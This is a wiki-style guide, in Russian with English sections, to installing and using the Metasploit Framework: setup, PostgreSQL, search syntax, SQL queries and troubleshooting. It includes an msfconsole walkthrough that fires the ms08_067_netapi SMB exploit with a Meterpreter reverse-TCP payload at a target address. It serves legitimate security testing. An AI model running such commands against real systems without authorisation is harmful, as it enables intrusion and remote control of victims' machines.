Metasploit Framework (Русский)

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Reason: Meterpreter; More/better SQL search examples; More commands; Module development; (Discuss in Talk:Metasploit Framework (Русский)#)

С официального сайта:

Consider the MSF to be one of the single most useful auditing tools freely available to security professionals today. From a wide array of commercial grade exploits and an extensive exploit development environment, all the way to network information gathering tools and web vulnerability plugins. The Metasploit Framework provides a truly impressive work environment. The MSF is far more than just a collection of exploits, it's an infrastructure that you can build upon and utilize for your custom needs. This allows you to concentrate on your unique environment, and not have to reinvent the wheel.

На данный момент Metasploit нуждается в установленном и настроенном Postgresql на целевой системе для работы. В данной статье будет описана установка и настройка Metasploit и Postgresql.

Установка

Установите пакет metasploit из AUR.

Для использования нестабильной версии установите metasploit-gitAUR.

Armitage

Armitage - GUI для Metasploit, написанный на Java. Для использования установите пакет armitageAUR.

Для использования Armitage необходима #Настройка базы данных. Также обязательно использование файла ~/.msf4/database.yml.

Примером файла database.yml является /usr/share/metasploit/database.yml.sample.

RVM

Msfconsole нуждается в Ruby и некоторых Ruby#RubyGems.

Используя статьи RVM#Installing RVM и RVM#Using RVM, установите Ruby версии 2.1.5 и сделайте её стандартной. (прим.ред.: если честно, пакет metasploit при установке сам делает эти операции. Не знаю точно, необходимо это делать или нет, но, используя этот гайд, мне пришлось переустанавливать всё 3-4 раза, чтобы оно заработало. Возможно, фреймворк заработает и без выполнения этого пункта инструкции)

Завершите установку RVM:

$ source ~/.rvm/scripts/rvm

и установите все гемы Msfconsole, используя Ruby#Bundler:

$ gem install bundler
$ bundle install

(прим.ред.: лично я в гемфайле указал стандартные гемы и metasploit-concern)

Примечание: Использование версии Ruby старше чем 2.1.5 приведёт к ошибке установки гема metasploit-concern.

Настройка базы данных

Примечание: Команды, которые должны быть запущены из msfconsole, имеют префикс msf >.

Metasploit можно использовать и без базы данных, но операции, использующие кэш (например, поиск), будут занимать очень много времени.

Примечание: Если вы собираетесь использовать #Armitage, база данных обязательна.

Используя статью PostgreSQL, создайте БД под именем msf. Можно назвать её иначе, на в этой статье мы будем ласково её называть msf.

Запустите msfconsole и напишите:

msf > db_connect user@msf

Где user - имя пользователя БД (обычно имя пользователя, под которым вы работаете) (прим.ред.: но я-то знаю, что Вы действовали по инструкции и именем пользователя будет postgres).

Обновите кэш БД:

msf > db_rebuild_cache

Metasploit обновит кэш БД в фоне, это не помешает Вам использовать фреймворк в это же время.

Совет: Обновление кэша БД может занять несколько минут. Запустите top или htop, чтобы наблюдать процесс обновления кэша. В это время процессы Ruby/Postgres/Metasploit будут создавать до 50% нагрузки на CPU.

Metasploit нуждается в команде db_connect при каждом запуске msfconsole. Чтобы избежать этих манипуляций при каждом запуске, просто используйте этот alias в вашем файле автозапуска, например, ~/.bashrc:

alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""

где опция quiet отключит баннер MSF при запуске, а команда -x произведёт операцию прямо после запуска.

Другой способ - создание файла database.yml в каталоге .msf4. Например:

~/.msf4/database.yml
production:
 adapter: postgresql
 database: msf
 username: ${USER}
 password: ${PASS}
 host: localhost
 port: 5432
 pool: 5
 timeout: 5
Примечание: Кэш БД нуждается в создании лишь однажды. После этого, во время запуска msfconsole будет писать [*] Rebuilding the module cache in the background..., но на самом деле он будет просто добавлять изменения. Если никаких изменений не было, процесс займёт около 0.5 секунды.

Выполните db_status, чтобы проверить статус соединения с БД:

msf > db_status
[*] postgresql connected to msf

Использование

There are several interfaces available for Metasploit. This section will explain how to use msfconsole, the interface that provides the most features available in MSF.

To start it, simply type msfconsole. The prompt will change to msf > to indicate it is waiting for commands.

Tip: Besides additional Metasploit commands explained below, all the regular shell commands and scripts found in $PATH are available too! (except for aliases)

Module types

Everything (scripts, files, programs etc) in Metasploit is a module. There are 6 types of modules:

  • auxiliary - Modules for helping the attacker in various tasks, like port scanning, version detection or network traffic analysis
  • exploit - The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authentication
  • payload - The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commands
  • post - Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading files
  • encoder - Programs for performing encryption
  • nop - NOP generators. NOP is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. NOP instructions are useful for filling the void in executables.

Searching for exploits

Note: Currently the search command does not work properly. Refer to #Searching from the database for a workaround.

To discover what operating system and software version a target runs, perform a port scan. With this information, use the search command to search for available exploits.

For example, to search for all exploits on Linux platform of Novell:

msf > search platform:linux type:exploit name:Novell

To search for specific field, type its name, followed by column and the phrase. The following search fields are available:

Search field Matches Possible values DB table & column
app Passive (client) or Active (server) exploits client, server module_details.stance
author Name and email of module Author Any phrase module_authors.name
type The module type auxiliary, exploit, payload, post, encoder, nop module_details.mtype
name The path (Name) and the short description Any phrase module_details.fullname, module_details.name
platform The target hardware or software platform bsdi, netware, linux, hpux, irix, osx, bsd, platform, java, javascript, unix, php, firefox, nodejs, ruby, cisco, android, aix, windows, python, solaris module_platforms.name
bid, cve, edb, osvdb or ref The Bugtraq, CVE, Exploit-DB, OSBDB ID or any Exploit database entry ID, or a part of upstream report URL module_refs.name
(No field) All of the above except app and type Any phrase All of the above

See #Searching from the database and #Database search examples for more advanced search queries.

Using an exploit

After choosing an appropriate exploit, it is time to start hacking!

First, select an exploit using the use command:

msf > use exploit/windows/smb/ms08_067_netapi
Note: ms08_067_netapi is one of the most popular exploits affecting Windows XP and Windows Server 2003 SMB services. It was disclosed in 2008 and proves to be very reliable in exploiting unpatched systems which have firewalls disabled.

To view information about a module, use the info command:

msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi

Running info without arguments will show info about currently selected module.

To view the selected exploit's options, run:

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

   ...

All the required fields must be provided before exploitation. Here, only the RHOST variable must be specified. To assign a value to a variable use the set command:

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102

Now choose the payload:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
Note: Meterpreter is a command shell built into Metasploit and allows the attacker to run remote commands on exploited systems. Reverse TCP is technique when the exploited computer establishes a connection back to the computer it was exploited from.

Choosing a payload (actually, choosing modules in general) will add more options. Run show optons again:

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.102   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Now assign LHOST variable to the address of your computer, where the exploited computer will send connection requests to:

msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1

Now launch the attack!

msf exploit(ms08_067_netapi) > exploit

If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer. See #Meterpreter[broken link: invalid section] for available commands.

Bugs

Search does not filter properly

Currently the search command in msfconsole does not properly filter the results if more than 1 filters are specified. See the bug report for details.

See #Searching from the database for a workaround.

Tips and tricks

Searching from the database

Since everything in Metasploit is stored in a database, it is easy to make powerful search queries without the need of the search frontend command.

To start the database interface, run:

$ psql msf

The information about modules is stored in 8 tables:

Table Name Contents
module_details The "main" table, describes various details of each module
module_actions The action names of auxiliary modules
module_archs The target hardware architecture or software platform
module_authors Names and emails of module author
module_mixins Empty (???)
module_platforms The target operating system. See also #Popularity of a platform by number of exploits
module_refs References to various online exploit databases and reports
module_targets The target program name and version of the exploit
Tip: To see what type of details (columns) a table contains, run \d+ table_name. For example: \d+ module_details.

Almost all tables have 3 columns: id, detail_id and name, except for module_details table which has 16 columns.

The detail_id values are pointers to the rows of module_details table.

To see the all the contents of a table, run:

SELECT * FROM table_name;

Multiple:

  • Architecture
  • Platform
  • Target

Module options:

  • module type
  • stance
  • privileged
  • path
  • name
  • refname
  • rank
  • privileged
  • disclosure date

Database search examples

The module_details table contains multiple columns and viewing them all at once is not convenient. To show only basic information about the modules:

SELECT id, mtype, refname, disclosure_date, rank, stance, name
FROM module_details;

Show some information about available modules, include platform information from module_platforms:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;

Show all client (aggressive) exploits for Windows platform:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive';

Show all exploits for Windows platform with rank >= 500 disclosed after 2013:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND rank >= 500
AND disclosure_date >= TIMESTAMP '2013-1-1';

Show all aggressive (client) exploits for Windows platform with rank >= 500 and include additional information about module's target:

SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive'
AND rank >= 500
order by target;

Popularity of a platform by number of exploits

To view the possible platform values, and number of available exploits, run from psql:

SELECT name, count(*)
FROM module_platforms
GROUP BY name
ORDER BY count DESC;

Disable the ASCII banner on startup

To disable the banner, run msfconsole with -q/--quiet argument:

$ msfconsole --quiet

Preserve variable values between sessions

If you do not want the variables to reset when selecting another module and when rerunning msfconsole then set it globally via setg, for example:

msf > setg RHOST 192.168.56.102

Troubleshooting

Cannot click in VNC viewer

If you selected VNC viewer as a payload, but are unable to click or do any actions, that means you forgot to set the ViewOnly variable to false. To fix this problem, re-run the exploit with the variable set to false:

msf > set ViewOnly false

cannot load such file -- robots (LoadError)

If you get an error like this:

~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError)
    from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start'
    from ./msfconsole:48:in `<main>'

This happens because the file robots.rb has incorrect permissions and can be read only by the root user (see the bug report):

$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4
-rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb

To fix this, simply change the permission to be world-readable:

# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb

db_connect fails silently

If upon running db_connect you see no output, but later getting a message like this:

[!] Database not connected or cache not built, using slow search

that probably means that the postgresql service is not running.

See also